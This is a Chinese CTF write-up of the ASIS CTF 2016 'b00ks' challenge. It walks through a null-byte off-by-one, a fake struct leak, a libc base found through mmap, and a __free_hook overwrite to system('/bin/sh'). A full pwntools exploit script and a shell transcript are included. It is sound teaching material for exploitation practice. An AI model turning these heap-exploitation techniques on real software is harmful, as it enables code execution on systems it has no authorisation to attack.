Asis CTF 2016 b00ks wp (null off

2019-06-26  本文已影响0人  111p1kk

没错没错,从CTF-wiki过来的,我没看懂,又去其他大佬的博客==>九层台取取经,终于会调了orz...掌握gdb调试很重要啊啊啊!改最终脚本改了好久了,唉😑ps过于繁琐高手可以绕过嚯嚯嚯

🎈0x01寻找漏洞

checksec

kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ checksec ./b00ks 
[*] '/home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

开启PIE()
程序实现的是一个图书管理,有以下的基本功能

Welcome to ASISCTF book library
Enter author name: kk

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 

ida

在输入作者名字时调用sub_9F5(我改名为My_read



读入32个字符,第33位被函数置为\x00 ==>NULL byte Off-By-One
漏洞找到~~~

🎈0x02分析构造

下面具体理解一下这些功能
create主要
malloc name

    printf("Enter book name (Max 32 chars): ", &v1);
    ptr = malloc(v1);

malloc description

     printf("\nEnter book description size: ", *(_QWORD *)&v1);
     __isoc99_scanf("%d", &v1);
     if ( v1 >= 0 )
     {
       v5 = malloc(v1);
       ···
     }

malloc下面的结构体

                v3 = malloc(0x20uLL);
                if ( v3 )
                {
                  *((_DWORD *)v3 + 6) = v1;          //description size
                  *((_QWORD *)off_202010 + v2) = v3;//book
                  *((_QWORD *)v3 + 2) = v5;         // description
                  *((_QWORD *)v3 + 1) = ptr;        // name
                  *(_DWORD *)v3 = ++unk_202024;      //每本书的ID
                  return 0LL;
                }

下面我们调试理解一下,利用gdb-peda中的find

kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ gdb ./b00ks 
gdb-peda$ run
Starting program: /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks 
Welcome to ASISCTF book library
Enter author name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabc

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1

Enter book name size: 10
Enter book name (Max 32 chars): aaaaa

Enter book description size: 10
Enter book description: bbbbb

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 

Ctrl+C后

gdb-peda$ find abc
Searching for 'abc' in: None ranges
Found 9 results, display max 9 items:
     b00ks : 0x55555575605d --> 0x636261 ('abc')

根据0x55555575605d找对齐地址查看

gdb-peda$ x/10g 0x555555756040
0x555555756040: 0x6161616161616161                  0x6161616161616161
0x555555756050: 0x6161616161616161                  0x6362616161616161 ==>author name
0x555555756060: 0x0000555555757460 ==>book1地址指针  0x0000000000000000
0x555555756070: 0x0000000000000000                  0x0000000000000000
0x555555756080: 0x0000000000000000                  0x0000000000000000
gdb-peda$ x/10g 0x0000555555757460
0x555555757460: 0x0000000000000001 ==>ID            0x0000555555757420 ==>book name
0x555555757470: 0x0000555555757440 ==>description   0x000000000000000a ==>description size
0x555555757480: 0x0000000000000000                  0x0000000000020b81 ==>top chunk
0x555555757490: 0x0000000000000000                  0x0000000000000000
0x5555557574a0: 0x0000000000000000                  0x0000000000000000
gdb-peda$ x/g 0x0000555555757420
0x555555757420: 0x0000006161616161
gdb-peda$ x/g 0x0000555555757440
0x555555757440: 0x0000006262626262

根据这个方法,又创建了一个book2,再看看他们的布置


从上分析得,我们写入的author name的最后的NULL字节会被book1指针覆盖,那么我们打印author name的时候,就可以得到book1的地址
接下来,由于程序提供了Change函数,我们修改author name为“a” * 30 + "d" * 2(能区别就成)

gdb-peda$ x/10gx 0x555555756040
0x555555756040: 0x6161616161616161  0x6161616161616161
0x555555756050: 0x6161616161616161  0x6464616161616161
0x555555756060: 0x0000555555757400  0x00005555557574d0
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000

可以看到同样由于33位变为\x00的原因,我们的book1地址最后一个字节被修改为00

所以我们需要:
1.设置author name长度为32,33位的\x00被book1地址覆写后,输出author name即可泄露book1地址。
2.通过修改author name,使后两位变为00,布置使我们的book1的指针(变00时)指向的是book1的description。
3.通过修改book1的description,使description内容为fake_book1。
4.fake_book1中的book name和description指针,指向book2的description。(offset = 0x20 + 0x10 + 0x8 = 0x38)
5.输出book1,那么book1的description就是fake_book1,就可以打印出book2的description的地址,实现泄露,得到libc_base。
6.将book2的description设置为__free_hook函数,将book2的name设置为system("/bin/sh")函数,再free book2,调用__free_hook,执行system("/bin/sh")。【这里也可以使用execve,这个可以在onegadget中找到】

疑问解答

🌼为什么description size被放到了v3+3的位置?
答:因为*((_DWORD *)v3 + 6) = v1; 该语句将v3作为双字节处理,双字节的+6 相当于 单字节的+3。
涉及到一个内存对齐的概念,因为这是一个64位的程序,机器字长为8个字节,id是int型数据,存入堆中只存了4字节。而接下来存的name是一个指针类型数据,在64位系统中是8字节,不能把name指针拆成两半,如果拆开的话还要再次组合对于底层硬件来说是一个复杂的事。所以为了进一步提高速度,将那么指针放入了后面新的8字节。这样一来就空出了4字节。
🌼为什么book2的size要设置的很大?
答:通过前面我们已经获得了任意地址读写的能力,读者读到这里可能会觉得下面的操作是显而易见的,比如写 got 表劫持流程或者写 __malloc_hook 劫持流程等。但是这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法,因此我们还需要想一下其他的办法。
所以我们在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是brk会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。
🌼为什么设置__free_hook函数?
答:这里我们需要简单介绍一下__free_hook函数
当调用free函数的时候当__free_hook内容不为NULL时,会优先执行其内容,所以我们将该函数参数设置为system,就可以实现getshell

🎈0x03攻击

写脚本,边写边用gdb.attach()调试(差不多就是重复上面的步骤,看看空间布局,不想看可以直接看文末完整脚本理解了)
函数的基本操作

def createbook(name_size, name, des_size, des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

def deletebook(id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(id))

def editbook(id, new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.sendline(str(id))
    io.readuntil(": ")
    io.sendline(new_des)

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id = int(io.readline()[:-1])
        io.readuntil(": ")
        book_name = io.readline()[:-1]
        io.readuntil(": ")
        book_des = io.readline()[:-1]
        io.readuntil(": ")
        book_author = io.readline()[:-1]
    return book_id, book_name, book_des, book_author
def changeauthor(authorname):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil("Enter author name: ")
    io.sendline(authorname)

开始尝试

io.recvuntil("author name:")
io.sendline("A" * 30 + "KK")
createbook(150, "kkbook1", 0x100, "haha") #我们的book1不能太小,不然伪造的book1就不能落在正确的地方,无法泄露。[这里我调试了很多次,注意看堆布置,多试试
gdb.attach(io)

此时在gdb窗口中查看我们的内存是这样子的👇

gdb-peda$ x/10gx 0x5566bb2af040
0x5566bb2af040: 0x4141414141414141  0x4141414141414141
0x5566bb2af050: 0x4141414141414141  0x4b4b414141414141
0x5566bb2af060: 0x00005566bc79e0f0  0x0000000000000000
0x5566bb2af070: 0x0000000000000000  0x0000000000000000
0x5566bb2af080: 0x0000000000000000  0x0000000000000000

接着选择print函数,就可以得到book1地址

book1_id,book1_name,book1_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
print "book1_addr ==> 0x%x"%book1_addr

编辑book1的description

payload = "a" * 0x40 + p64(0x01) + p64(book1_addr + 0x38)*2 + p64(0xffff)
editbook(1, payload)        #fake_book1

接下来我们修改作者,使book1地址指向book1_des

changeauthor("a" * 30 + "OO")

创建book2,要把size设置的很大,使malloc用mmap()分配

createbook(1000000, "kkbook2", 1000000, "hello world")

gdb调试,看看我布置的堆栈是什么样子的

gdb-peda$ x/10gx 0x55a03fde01d0
0x55a03fde01d0: 0x0000000000000001  0x000055a03fde0020
0x55a03fde01e0: 0x000055a03fde00c0  0x0000000000000100
0x55a03fde01f0: 0x0000000000000000  0x0000000000000031
0x55a03fde0200: 0x0000000000000002  0x00007f2db34c8010
0x55a03fde0210: 0x00007f2db2ef5010  0x00000000000f4240
gdb-peda$ x/10gx 0x55a03fde0100 ==>fake_book1
0x55a03fde0100: 0x0000000000000001  0x000055a03fde0208
0x55a03fde0110: 0x000055a03fde0208  0x000000000000ffff
0x55a03fde0120: 0x0000000000000000  0x0000000000000000
0x55a03fde0130: 0x0000000000000000  0x0000000000000000
0x55a03fde0140: 0x0000000000000000  0x0000000000000000

再看看更直观的堆布置

gdb-peda$ x/20gx 0x55a03fde00b0
0x55a03fde00b0: 0x0000000000000000  0x0000000000000111
0x55a03fde00c0: 0x6161616161616161  0x6161616161616161 ==>"a" * 0x30
0x55a03fde00d0: 0x6161616161616161  0x6161616161616161
0x55a03fde00e0: 0x6161616161616161  0x6161616161616161
0x55a03fde00f0: 0x6161616161616161  0x6161616161616161
0x55a03fde0100: 0x0000000000000001  0x000055a03fde0208 ==>fake_book1
0x55a03fde0110: 0x000055a03fde0208  0x000000000000ffff
0x55a03fde0120: 0x0000000000000000  0x0000000000000000
0x55a03fde0130: 0x0000000000000000  0x0000000000000000
0x55a03fde0140: 0x0000000000000000  0x0000000000000000

打印出book1的description,里面就是指向了book2的信息,所以得到book2的指针地址

book_id, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8, "\x00"))
book2_des_addr = u64(book_des.ljust(8, "\x00"))
print "book2_name_addr ==> 0x%x"%book2_name_addr
print "book2_des_addr ==> 0x%x"%book2_des_addr

查看vmmap

gdb-peda$ vmmap
Start              End                Perm  Name
0x000055a03e99e000 0x000055a03e9a0000 r-xp  /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
0x000055a03eb9f000 0x000055a03eba0000 r--p  /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
0x000055a03eba0000 0x000055a03eba1000 rw-p  /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
0x000055a03fddf000 0x000055a03fe01000 rw-p  [heap]
0x00007f2db2ef5000 0x00007f2db2fea000 rw-p  mapped
0x00007f2db2fea000 0x00007f2db31aa000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2db31aa000 0x00007f2db33aa000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so

计算offset = book2_name_addr - 0x00007f2db2fea000 = 0x4de010

libc_base = book2_name_addr - 0x4de010
print "libc_base ==> 0x%x"%libc_base

在本地进行测试,所以libc用ldd查看路径,比赛不给libc文件时再想办法进行泄露,脚本改一下就行了
__free_hooksystem("/bin/sh")写入相应位置,free后调用。

free_hook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()

editbook(1, p64(binsh_addr) + p64(free_hook_addr))
editbook(2, p64(system_addr))

deletebook(2)

📂完整EXP

#!usr/bin/env python
#coding=utf-8
from pwn import *
# context.log_level="debug"

io = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def createbook(name_size, name, des_size, des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

def deletebook(id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(id))

def editbook(id, new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.sendline(str(id))
    io.readuntil(": ")
    io.sendline(new_des)

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id = int(io.readline()[:-1])
        io.readuntil(": ")
        book_name = io.readline()[:-1]
        io.readuntil(": ")
        book_des = io.readline()[:-1]
        io.readuntil(": ")
        book_author = io.readline()[:-1]
    return book_id, book_name, book_des, book_author

def changeauthor(authorname):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil(": ")
    io.sendline(authorname)

io.recvuntil("author name:")
io.sendline("A" * 30 + "KK")

createbook(150, "kkbook1", 0x100, "haha")

book1_id,book1_name,book1_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
print "book1_addr ==> 0x%x"%book1_addr

payload = "a" * 0x40 + p64(0x01) + p64(book1_addr + 0x38)*2 + p64(0xffff)
editbook(1, payload)        #fake_book1

createbook(1000000, "kkbook2", 1000000, "hello world")

changeauthor("a" * 30 + "OO")

book_id, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8, "\x00"))
book2_des_addr = u64(book_des.ljust(8, "\x00"))
print "book2_name_addr ==> 0x%x"%book2_name_addr
print "book2_des_addr ==> 0x%x"%book2_des_addr

libc_base = book2_name_addr - 0x4de010
print "libc_base ==> 0x%x"%libc_base

free_hook_addr = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()

editbook(1, p64(binsh_addr) + p64(free_hook_addr))
editbook(2, p64(system_addr))

deletebook(2)

io.interactive()

终于成功了orz

kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ python exp.py 
[+] Starting local process './b00ks': pid 78110
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
book1_addr ==> 0x55b3b00ff1d0
book2_name_addr ==> 0x7fc82a684010
book2_des_addr ==> 0x7fc82a684010
libc_base ==> 0x7fc82a1a6000
[*] Switching to interactive mode
$ ls
b00ks  core  exp.py  peda-session-b00ks.txt
$  
上一篇下一篇

猜你喜欢

热点阅读